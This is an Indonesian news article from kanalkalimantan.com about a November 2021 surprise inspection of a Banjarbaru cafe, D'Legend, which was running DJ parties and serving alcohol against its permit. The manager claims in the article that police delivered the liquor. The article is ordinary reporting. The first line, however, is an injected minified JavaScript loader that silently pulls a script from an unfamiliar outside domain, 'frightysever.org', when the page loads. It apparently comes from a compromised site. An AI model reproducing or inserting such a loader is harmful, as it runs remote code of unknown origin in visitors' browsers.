(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tempat nongkrong kafe ‘berbaju’ Tempat Hiburan Malam (THM) di kawasan Jalan Trikora, Banjarbaru Selatan, kembali berulah nakal. Diduga izin yang dimiliki pengelola THM tersebut disalahgunakan melanggar aturan.
Aktivitas nakal sebuah kafe di Jalan Trikora itu diduga berlangsung lama. Pun, kegiatan penertiban juga kerap dilakukan pihak berwenang.
Kala inspeksi mendakak (Sidak) Rabu (24/11/2021) sekitar pukul 00.10 Wita, Wali Kota Banjarbaru Aditya Mufti Ariffin mendapati ulah nakal kafe itu. Bersama Kapolresta, Kasdim 1006 Martapura dan Kajari Banjarbaru memasuki kafe D’Legend.
Tanpa babibu mereka langsung masuk ke dalam ruko yang ternyata di lantai bawah sedang ada party bersama DJ alias Disc Jokey.
Baca juga: Lomba Pengucapan Panca Prasetya Warnai HUT Korpri Ke-50 di Banjarbaru
Para pengunjung laki-laki dan perempuan kaget, begitu sadar ada Sidak. Lampu yang semua remang-remang nyaris tak kelihatan langsung menyala terang.
“Mana manajernya, panggil,” suruh Wali Kota dengan nada tinggi.
Tak lama berselang munculah seorang perempuan yang mengaku bernama Vera. Terjadilah tanya jawab antara keduanya, saat Wali Kota Aditya mempertanyatakan dari mana pasokan minuman keras yang ada di atas meja, sang manajer D’Legend menjawab dengan tegas.
Baca juga: Jemput Bola Vaksinasi Puskesmas Sungai Besar ke Tingkat RT dan RW
“Kami di sini tidak menyediakan miras pak,” ujar Vera.
Vera mengaku, temuan atas keberadaan miras di salah satu meja pengunjung D’Legends yang dikelolanya tersebut diantar anggota kepolisian.
“Polisi yang antar mirasnya ke sini,” aku Vera.
Kapolres Banjarbaru AKBP Nur Khamid pun dibuat tampak gregetan. Ia menegaskan pihaknya akan menindaklanjuti apa yang ditemukan di kafe D’Legend.
“Miras menjadi perhatian sangat serius kami. Kita akan usut asal usul miras yang kita dapatkan tadi,” ujarnya.
Sebelumnya giat gabungan Satpol PP dan Disporabudpar Kota Banjarbaru di kawasan Jalan Trikora digelar pada Sabtu (20/11/2021) malam lalu, tim mendapati sejumlah pelanggaran yang dilakukan pengelola kafe. Salahnya kafe tersebut menggunakan fasilitas DJ.
Baca juga: Manto Ditemukan, SAR Tiga Korban Tenggelam di Irigasi Batang Alai Berakhir
Tim saat itu tidak melakukan penindakan, terkesan membiarkan pelanggaran ulah nakal itu.
Sekadar diketahui THM dan kafe yang mendapatkan SP 1 karena melanggar aturan, pertama ada kafe Booze di jalan Trikora berdasarkan surat izin adalah café live musik.
Sedangkan pada saat pelaksanaan giat gabungan ditemukan ruang karaoke, hal ini tidak sesuai dengan surat izin usaha. Tak hanya itu, ditemukan pula alat DJ dan pengunjung yang meminum minuman keras.
Kemudian kafe D’Legend, kasusnya sama dengan kafe Booze, izinnya kafe. Namun, kenyataannya saat dilakukan giat didapati ruang karaoke. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.